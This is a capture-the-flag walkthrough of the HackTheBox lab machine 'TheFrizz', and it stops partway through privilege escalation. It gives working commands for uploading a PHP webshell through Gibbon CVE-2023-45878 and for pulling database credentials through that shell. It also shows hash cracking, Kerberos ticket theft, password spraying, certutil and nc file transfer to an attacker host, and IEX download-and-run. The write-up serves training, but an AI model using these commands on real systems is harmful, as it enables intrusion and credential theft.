TheFrizz – HackTheBox Link to heading
- OS: Windows
- Difficulty : Medium
- Platform: HackTheBox
Summary Link to heading
“TheFrizz” is a Medium difficulty machine from HackTheBox
platform. The victim machine is running an Active Directory
environment and a webpage. The webpage is running a vulnerable version of Gibbon
software to CVE-2023-45878, that allows arbitrary file write that can be concatenated into a Remote Code Execution
. With the obtained webshell, we are able to find credentials in a MySQL
database for a user in the domain. We are able to extract a Kerberos
ticket for this user and use it to connect throughout SSH
service. Once in, we find credentials in the Recycle Bin
for another user in the domain. This second user can modify and link a GPO
that affects the machine; allowing us to add this second user as a local administrator and compromise the system.
User Link to heading
We start with a quick Nmap
scan:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.60
We can see multiple ports open: 22
SSH
, 53
Domain Name System
(DNS
), 80
HTTP
, 88
Kerberos
, 135
Microsoft RPC
, 389
Lightweight Directory Access Protocol
(LDAP
), 445
Server Message Block
(SMB
), 5985
Windows Remote Management
(WinRM
); among many others. Applying some recognition scans over these ports with -sVC
flag we get:
❯ sudo nmap -sVC -p22,53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49670,56168,59754,59763 10.10.11.60
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-17 04:59 -03
Nmap scan report for 10.10.11.60
Host is up (0.46s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-17 14:59:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
56168/tcp open msrpc Microsoft Windows RPC
59754/tcp open msrpc Microsoft Windows RPC
59763/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-03-17T15:00:31
|_ start_date: N/A
|_clock-skew: 7h00m03s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.82 seconds
The machine is running Kerberos
, which indicates it could be an Active Directory
environment.
From the output we can note 2 things: port 80
redirects to the site frizzdc.frizz.htb
subdomain and LDAP
port shows a domain: frizz.htb
.
We can use NetExec
again SMB
service to check domains and FQDNs for this machine:
❯ nxc smb 10.10.11.60
SMB 10.10.11.60 445 10.10.11.60 [*] x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
Interestingly, we don’t get a domain from SMB
service.
We can attempt to get more info about the domain with enum4linux-ng
(which can be downloaded from its Github repository):
❯ python3 enum4linux-ng.py 10.10.11.60
<SNIP>
======================================================
| Domain Information via LDAP for 10.10.11.60 |
======================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: frizz.htb
<SNIP>
But, again, we only find the domain frizz.htb
from LDAP
service.
Therefore, add the possible machine name (frizzdc
), its FQDN (frizzdc.frizz.htb
) and domain (frizz.htb
) found from HTTP
page and its domain to our /etc/hosts
file:
❯ echo '10.10.11.60 frizzdc frizzdc.frizz.htb frizz.htb' | sudo tee -a /etc/hosts
If we use WhatWeb
against the site, the machine is running Apache
for Windows
:
❯ whatweb -a 3 http://frizzdc.frizz.htb
http://frizzdc.frizz.htb [302 Found] Apache[2.4.58], Country[RESERVED][ZZ], HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], IP[10.10.11.60], OpenSSL[3.1.3], PHP[8.2.12], RedirectLocation[http://frizzdc.frizz.htb/home/], Title[302 Found]
http://frizzdc.frizz.htb/home/ [200 OK] Apache[2.4.58], Bootstrap[3.3.5], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], IP[10.10.11.60], JQuery, Modernizr[2.6.2.min], OpenSSL[3.1.3], PHP[8.2.12], Script, Title[Education — Walkerville Elementary School], X-UA-Compatible[IE=edge]
Visiting http://frizzdc.frizz.htb
site in a web browser shows:
The page offers some courses in different topics such as music, biology, hacking and other topics.
At the top right side of the site we have a Staff Login
button. Clicking on it redirects to http://frizzdc.frizz.htb/Gibbon-LMS/
site. We there can see:
Based on the url, and also from the text at the bottom, the site is using Gibbon
.
Gibbon
by EduGorilla
is an online education platform software that allows creators, educators, educational institutions, and schools to start their own branded mobile app and website.To obtain more information about it we could visit official Gibbon site. In this case, based on the text at the bottom of the site, we have a version: v25.0.00
. Searching for gibbon 25.0.00 exploit
leads to a vulnerability labeled as CVE-2023-45878, which affects versions up to 25.0.01
; which indicates the target version should be vulnerable. This vulnerability allows an Arbitrary File Write
which can converge into a Remote Code Execution
(RCE
). We also find this post explaining the vulnerability and providing a Proof of Concept (PoC). The post explains how we can upload an image that can be, in fact, a webshell. From line code at Gibbons repository we can see that we can post content:
$img = $_POST['img'] ?? null;
$imgPath = $_POST['path'] ?? null;
$gibbonPersonID = !empty($_POST['gibbonPersonID']) ? str_pad($_POST['gibbonPersonID'], 10, '0', STR_PAD_LEFT) : null;
$absolutePath = $gibbon->session->get('absolutePath');
Then, the software decodes the image at line 32:
// Decode raw image data
list($type, $img) = explode(';', $img);
list(, $img) = explode(',', $img);
$img = base64_decode($img);
Which means the image can be encoded in base64
and then decoded.
However, at line 49 this content is written into a file with fwrite
function from PHP
:
// Write image data
$fp = fopen($absolutePath.'/'.$imgPath, 'w');
fwrite($fp, $img);
fclose($fp);
At the blog they provide a simple snippet to abuse this vulnerability through a simple HTTP
POST
request:
POST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
Host: localhost:8080
[...]
img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=asdf.php&gibbonPersonID=0000000001
where asdf.php
is a file that can be a webshell.
To obtain a webshell we can create a simple webshell and store it into a file called webshell.php
:
❯ echo '<?php system($_REQUEST["cmd"]); ?>' > webshell.php
We can then post the malicious file (webshell.php
) using cURL
abusing the vulnerability; storing it into the victim machine as gunzf0x.php
:
❯ FILENAME='gunzf0x'; curl -s -X POST 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' -d "img=image/png;$FILENAME,$(cat webshell.php | base64 -w0)" -d "path=$FILENAME.php" -d "gibbonPersonID=0000000001"
And use the uploaded webshell to execute commands. Note that we have uploaded a file called webshell.php
, but we named the file stored in the server as gunzf0x.php
. We could visit, for example:
http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php?cmd=whoami
in a web browser like Firefox
, or we could purely run commands from cURL
:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=whoami'
frizz\w.webservice
We are w.webservice
user.
gunzf0x.php
file in our case) is removed after some minutes. We can then just run the previous command with cURL
to upload it again.For some reason, if we attempt to get a reverse shell using a PowerShell
oneliner from Reverse Shell Generator
page (https://revshells.com) or uploading a netcat
binary for Windows
and then attempt to get a connection does not work. I guess a firewall is blocking the connection. However, this webshell is highly responsive; so we are good to go. Checking the current directory (C:\xampp\htdocs\Gibbon-LMS
) shows a config.php
file:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=dir"
Volume in drive C has no label.
Volume Serial Number is D129-C3DA
Directory of C:\xampp\htdocs\Gibbon-LMS
03/17/2025 10:13 AM <DIR> .
10/29/2024 07:28 AM <DIR> ..
01/20/2023 07:04 AM 634 .htaccess
01/20/2023 07:04 AM 197,078 CHANGEDB.php
01/20/2023 07:04 AM 103,023 CHANGELOG.txt
01/20/2023 07:04 AM 2,972 composer.json
01/20/2023 07:04 AM 294,353 composer.lock
10/11/2024 08:15 PM 1,307 config.php
01/20/2023 07:04 AM 3,733 error.php
01/20/2023 07:04 AM 1,608 export.php
<SNIP>
Reading this file:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=type .\config.php"
We get:
<?php
<SNIP>
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
/**
* Sets a globally unique id, to allow multiple installs on a single server.
*/
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';
/**
* Sets system-wide caching factor, used to balance performance and freshness.
* Value represents number of page loads between cache refresh.
* Must be positive integer. 1 means no caching.
*/
$caching = 10;
We have some credentials for a MySQL
database.
We can check some internal ports open, filtering by TCP
ports with grep
:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=netstat -ano" | grep 'TCP'
<SNIP>
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 656
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 656
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 528
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 1916
<SNIP>
Port 3306
is open, which is the default port for MySQL
.
We can search if we have a MySQL
binary somewhere at C:\xampp
directory running:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=where /r C:\xampp mysql.exe"
C:\xampp\mysql\bin\mysql.exe
We have a binary located at C:\xampp\mysql\bin\mysql.exe
.
Therefore, use this binary and the previously found credentials to check if we have access. We also provide -e
flag to run command through CLI
:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "SELECT VERSION()"'
VERSION()
10.4.32-MariaDB
It worked.
We have many tables:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "USE gibbon; SHOW TABLES;"'
Tables_in_gibbon
gibbonaction
gibbonactivity
gibbonactivityattendance
gibbonactivityslot
gibbonactivitystaff
gibbonactivitystudent
gibbonactivitytype
gibbonadmissionsaccount
gibbonadmissionsapplication
<SNIP>
Searching gibbon db passwords
reaches this post forum for Gibbon. There, they mention a gibbonPerson
table.
We can check the content of this table:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "USE gibbon; SELECT * FROM gibbonperson;"'
gibbonPersonID title surname firstName preferredName officialName nameInCharacters gender username passwordStrong passwordStrongSalt passwordForceReset status canLogin gibbonRoleIDPrimary gibbonRoleIDAll dob email emailAlternate image_240 lastIPAddress lastTimestamp lastFailIPAddress lastFailTimestamp failCount address1 address1District address1Country address2 address2District address2Country phone1Type phone1CountryCode phone1 phone3Type phone3CountryCode phone3 phone2Type phone2CountryCode phone2 phone4Type phone4CountryCode phone4 website languageFirst languageSecond languageThird countryOfBirth birthCertificateScan ethnicity religion profession employer jobTitle emergency1Name emergency1Number1 emergency1Number2 emergency1Relationship emergency2Name emergency2Number1 emergency2Number2 emergency2Relationship gibbonHouseID studentID dateStart dateEnd gibbonSchoolYearIDClassOf lastSchool nextSchool departureReason transport transportNotes calendarFeedPersonal viewCalendarSchool viewCalendarPersonal viewCalendarSpaceBooking gibbonApplicationFormID lockerNumber vehicleRegistration personalBackground messengerLastRead privacy dayType gibbonThemeIDPersonal gibboni18nIDPersonal studentAgreements googleAPIRefreshToken microsoftAPIRefreshToken genericAPIRefreshToken receiveNotificationEmails mfaSecret mfaToken cookieConsent fields
0000000001 Ms. Frizzle Fiona Fiona Fiona Frizzle Unspecified f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489 N Full Y 001 001 NULL f.frizzle@frizz.htb NULL NULL ::1 2024-10-29 09:28:59 NULL NULL 0 NULL NULL NULL NULL Y Y N NULL NULL NULL NULL NULLNULL NULL Y NULL NULL NULL
Select the interesting columns, such as username
, passwordStrong
and passwordStrongSalt
:
❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "USE gibbon; SELECT username,passwordStrong,passwordStrongSalt FROM gibbonperson;"'
username passwordStrong passwordStrongSalt
f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489
We have a user called f.frizzle
and a salted hash.
This appears to be a SHA-256
hash. Looking at Hashcat examples, modes 1410
or 1420
are the correct ones for salted SHA256
. Save the hash and its salt separated by :
in a file called ffrizzle_hash
:
❯ cat ffrizzle_hash
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489
And use Hashcat
to crack this hash. Mode 1420
works along with rockyou.txt
dictionary:
❯ hashcat -a 0 -m 1420 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1420 (sha256($salt.$pass))
Hash.Target......: 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff...Vz2489
Time.Started.....: Mon Mar 17 08:08:32 2025 (5 secs)
<SNIP>
We get a password: Jenni_Luvs_Magic23
.
We can check if these credentials are correct through SMB
service:
❯ nxc smb 10.10.11.60 -u 'f.frizzle' -p 'Jenni_Luvs_Magic23'
SMB 10.10.11.60 445 10.10.11.60 [*] x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB 10.10.11.60 445 10.10.11.60 [-] 10.10.11.60\f.frizzle:Jenni_Luvs_Magic23 STATUS_NOT_SUPPORTED
We get STATUS_NOT_SUPPORTED
message.
We got something similar for HTB Vintage machine. Checking Microsoft Documentation for this error this means, basically, that the server’s response does not understand or is unable to process the specific type of information the client is trying to modify/request.
As we did at Vintage machine we can try to use Kerberos
service to authenticate. For this purpose we can use getTGT.py
from Impacket
to request a ticket for f.frizzle
user:
❯ impacket-getTGT frizz.htb/f.frizzle:'Jenni_Luvs_Magic23' -dc-ip frizz.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Our old enemy KRB_AP_ERR_SKEW(Clock skew too great)
is here.
We can skip this error using faketime
along with ntpdate
:
❯ faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-getTGT frizz.htb/f.frizzle:'Jenni_Luvs_Magic23' -dc-ip frizz.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in f.frizzle.ccache
We succesfully obtained a Kerberos
ticket for f.frizzle
user.
We now need to edit our /etc/krb5.conf
file or we will get an error:
Permission denied (gssapi-with-mic,keyboard-interactive)
For that we can use the same script that we have used at Vintage machine to add the machine name and domain to our /etc/krb5.conf
file:
❯ sudo python3 evil_winrm_kerberos.py frizz.htb frizzdc
[+] The following data/text will be OVERWRITTEN at '/etc/krb5.conf':
[libdefaults]
default_realm = FRIZZ.HTB
[realms]
FRIZZ.HTB = {
kdc = frizzdc.frizz.htb
admin_server = frizzdc.frizz.htb
}
[domain_realm]
frizz.htb = FRIZZ.HTB
.frizz.htb = FRIZZ.HTB
[?] Would you like to continue? [Y]es/[No]: y
[+] Backup created at '/etc/backup_krb5.conf'.
[+] '/etc/krb5.conf' has been configured
[+] Finally, after exporting your Kerberos ticket, to execute evil-winrm with Kerberos just run:
evil-winrm -i frizzdc -r FRIZZ.HTB
and attempt to log in as f.frizzle
user through WinRM
with evil-winrm
(using faketime
to avoid clock issues):
❯ KRB5CCNAME=f.frizzle.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" evil-winrm -i frizzdc -r FRIZZ.HTB
But does not work.
We can also attempt to connect through SSH
using the generated Kerberos
ticket with -K
flag. For example, we can log in running:
❯ KRB5CCNAME=f.frizzle.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" sshpass -p 'Jenni_Luvs_Magic23' ssh -o stricthostkeychecking=no -K f.frizzle@frizz.htb
PowerShell 7.4.5
PS C:\Users\f.frizzle>
Nice. We can grab the user flag.
NT Authority/System - Administrator Link to heading
Looking at C:\
directory we only can see the typical folders for a Windows
machine:
PS C:\Users\f.frizzle> ls C:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 3/10/2025 3:39 PM inetpub
d---- 5/8/2021 1:15 AM PerfLogs
d-r-- 2/26/2025 8:13 AM Program Files
d---- 5/8/2021 2:34 AM Program Files (x86)
d-r-- 10/29/2024 7:31 AM Users
d---- 3/10/2025 3:41 PM Windows
d---- 10/29/2024 7:28 AM xampp
But if we search for hidden folders adding -force
to ls
command with PowerShell
we can see we have more directories:
PS C:\Users\f.frizzle> ls C:\ -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs 10/29/2024 7:31 AM $RECYCLE.BIN
d--h- 3/10/2025 3:31 PM $WinREAgent
d--hs 2/20/2025 2:51 PM Config.Msi
l--hs 10/29/2024 9:12 AM Documents and Settings -> C:\Users
d---- 3/10/2025 3:39 PM inetpub
d---- 5/8/2021 1:15 AM PerfLogs
d-r-- 2/26/2025 8:13 AM Program Files
d---- 5/8/2021 2:34 AM Program Files (x86)
d--h- 2/20/2025 2:50 PM ProgramData
d--hs 10/29/2024 9:12 AM Recovery
d--hs 10/29/2024 7:25 AM System Volume Information
d-r-- 10/29/2024 7:31 AM Users
d---- 3/10/2025 3:41 PM Windows
d---- 10/29/2024 7:28 AM xampp
-a-hs 10/29/2024 8:27 AM 12288 DumpStack.log.tmp
We have a Recycle Bin folder.
Checking this folder returns:
PS C:\Users\f.frizzle> Get-ChildItem -Path 'C:\$RECYCLE.BIN' -Force -Recurse
Directory: C:\$RECYCLE.BIN
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs 10/29/2024 7:31 AM S-1-5-21-2386970044-1145388522-2932701813-1103
Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 10/29/2024 7:31 AM 148 $IE2XMEG.7z
-a--- 10/24/2024 9:16 PM 30416987 $RE2XMEG.7z
-a-hs 10/29/2024 7:31 AM 129 desktop.ini
We have 2 .7z
files. We can attempt to download the one that is heavier, called $RE2XMEG.7z
.
For this we can pass a netcat
binary to the victim machine and use it. Start a temporal Python
HTTP
server on port 8000
in our attacker machine:
❯ ls -la && python3 -m http.server 8000
total 9976
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Mar 18 01:36 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Mar 17 04:46 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 4687 Mar 17 08:45 evil_winrm_kerberos.py
-rw-r--r-- 1 gunzf0x gunzf0x 45272 Mar 17 06:34 nc64.exe
-rw-rw-r-- 1 gunzf0x gunzf0x 35 Mar 17 06:53 webshell.php
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
and, in the victim machine, use certutil
to transfer nc64.exe
binary:
PS C:\Users\f.frizzle> certutil.exe -urlcache -f -split http://10.10.16.4:8000/nc64.exe C:\Users\f.frizzle\Downloads\nc.exe
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
Start a listener with netcat
in our atackker machine, and store all the received information into a file:
❯ nc -lvnp 443 > $RE2XMEG.7z
listening on [any] 443 ...
And, in the victim machine, use the transferred netcat
binary to pass the file to our attacker machine:
PS C:\Users\f.frizzle> cmd.exe /c 'C:\Users\f.frizzle\Downloads\nc.exe 10.10.16.4 443 < C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z'
We get a .7z
file. Use 7z
to check its extract its content into a directory called recycle_bin_content
:
❯ 7z x $RE2XMEG.7z -o'recycle_bin_content'
<SNIP>
The extracted files weights 150 MBs:
❯ du -sh recycle_bin_content
150M recycle_bin_content
Checking the files, they seems to be using a WAPT server
for Windows
with Python
:
WAPT server
is a software and configuration deployment tool that can be used to install, update, and remove software on Windows
, Linux
, and MacOS
devices. It can be used to manage the lifecycle of Windows
applications❯ ls -la recycle_bin_content/wapt | head
total 45012
drwxrwxr-x 18 gunzf0x gunzf0x 4096 Oct 23 01:18 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Mar 18 02:19 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 6147 Sep 10 2024 auth_module_ad.py
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Oct 23 01:12 cache
-rw-rw-r-- 1 gunzf0x gunzf0x 412462 Sep 10 2024 common.py
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Oct 23 01:12 conf
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Oct 23 00:35 conf.d
-rw-rw-r-- 1 gunzf0x gunzf0x 5730 Sep 10 2024 COPYING.txt
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Oct 23 01:16 db
Searching for wapt server config file
returns this page. Where, they talk about a wapserver.ini
file. We can search this file with find
command:
❯ find recycle_bin_content -name '*waptserver.ini*' 2>/dev/null
recycle_bin_content/wapt/conf/waptserver.ini
recycle_bin_content/wapt/conf/waptserver.ini.template
This file exists.
Checking its content we get:
❯ cat recycle_bin_content/wapt/conf/waptserver.ini
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt
We have what seems to be a password in base64
. Decoding it we get:
❯ echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d
!suBcig@MehTed!R
We have a potential password: !suBcig@MehTed!R
.
To see if this is the password of any user in the domain, search for domain users using dsquery
command:
PS C:\Users\f.frizzle> dsquery user
"CN=Administrator,CN=Users,DC=frizz,DC=htb"
"CN=Guest,CN=Users,DC=frizz,DC=htb"
"CN=krbtgt,CN=Users,DC=frizz,DC=htb"
"CN=f.frizzle,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=w.li,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=h.arm,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=M.SchoolBus,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=d.hudson,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=k.franklin,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=l.awesome,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=t.wright,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=r.tennelli,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=J.perlstein,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=a.perlstein,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=p.terese,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=v.frizzle,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=g.frizzle,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=c.sandiego,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=c.ramon,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=m.ramon,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=w.Webservice,OU=Class_Frizz,DC=frizz,DC=htb"
or just obtaining users:
PS C:\Users\f.frizzle> (dsquery user) | ForEach-Object { ($_ -split ',')[0] -replace 'CN=' -replace '"' }
Administrator
Guest
krbtgt
f.frizzle
w.li
h.arm
M.SchoolBus
d.hudson
k.franklin
l.awesome
t.wright
r.tennelli
J.perlstein
a.perlstein
p.terese
v.frizzle
g.frizzle
c.sandiego
c.ramon
m.ramon
w.Webservice
and save all those users into a file called domain_users.txt
in our attacker machine.
We can then set a Bash
oneliner attempting to extract a Kerberos
ticket for any of these users (in a kind of Password Spray
, but requesting Kerberos
tickets):
❯ for user in $(cat domain_users.txt); do echo "[+] Attempting to extract ticket for user $user"; faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-getTGT frizz.htb/$user:'!suBcig@MehTed!R' -dc-ip frizz.htb && echo "[+] Ticket for user $user extracted" || echo "[-] Could not extract ticket for user $user"; done
<SNIP>
[+] Attempting to extract ticket for user M.SchoolBus
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in M.SchoolBus.ccache
[+] Ticket for user M.SchoolBus extracted
<SNIP>
We get a ticket for M.SchoolBus
user.
Password Spray
with Kerbrute
, but in my case it did not work.Log in as this user through SSH
using this new ticket:
❯ KRB5CCNAME=M.SchoolBus.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" sshpass -p '!suBcig@MehTed!R' ssh -o stricthostkeychecking=no -K M.SchoolBus@frizz.htb
PowerShell 7.4.5
PS C:\Users\M.SchoolBus> whoami
frizz\m.schoolbus
At this point we can attempt to import PowerView.ps1
(which can be downloaded from its Github repository). Expose this module through a temporal Python
HTTP
server on port 8000
as we did with netcat
binary and, from the attacker machine, import the exposed module:
PS C:\Users\M.SchoolBus> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')
InvalidOperation:
Line |
69 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'R …
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| Method invocation failed because [System.AppDomain] does not contain a method named 'DefineDynamicAssembly'.
InvalidOperation:
Line |
70 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName …
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| You cannot call a method on a null-valued expression.
<SNIP>
We get many errors. Why? Because the current version of PowerShell
is 7.4.5
:
PS C:\Users\M.SchoolBus> $PSVersionTable.PSVersion
Major Minor Patch PreReleaseLabel BuildLabel
----- ----- ----- --------------- ----------
7 4 5
Therefore, just change to PowerShell
version 5.1
and attempt to import it again:
PS C:\Users\M.SchoolBus> powershell -version 5.1
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\M.SchoolBus> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')
It worked.
Get information about our current user:
PS C:\Users\M.SchoolBus> Get-DomainUser -Identity M.SchoolBus -Domain frizz.htb | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,mail,useraccountcontrol
name : M.SchoolBus
samaccountname : M.SchoolBus
description : Desktop Administrator
memberof : {CN=Desktop Admins,CN=Users,DC=frizz,DC=htb, CN=Remote Management Users,CN=Builtin,DC=frizz,DC=htb}
whencreated : 10/29/2024 2:27:03 PM
pwdlastset : 10/29/2024 7:27:03 AM
lastlogontimestamp : 3/18/2025 5:52:11 AM
accountexpires : NEVER
admincount :
userprincipalname : M.SchoolBus
serviceprincipalname :
mail :
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
We are members of Desktop Admins
group (as we can see at memberof
property).
In Active Directory
environments, it’ always worth to enumerate Group Policy Object
(GPOs
), since they can be abused to escalate privileges. Enumerating Organizational Units
(OUs
) from linked GPOs
we get:
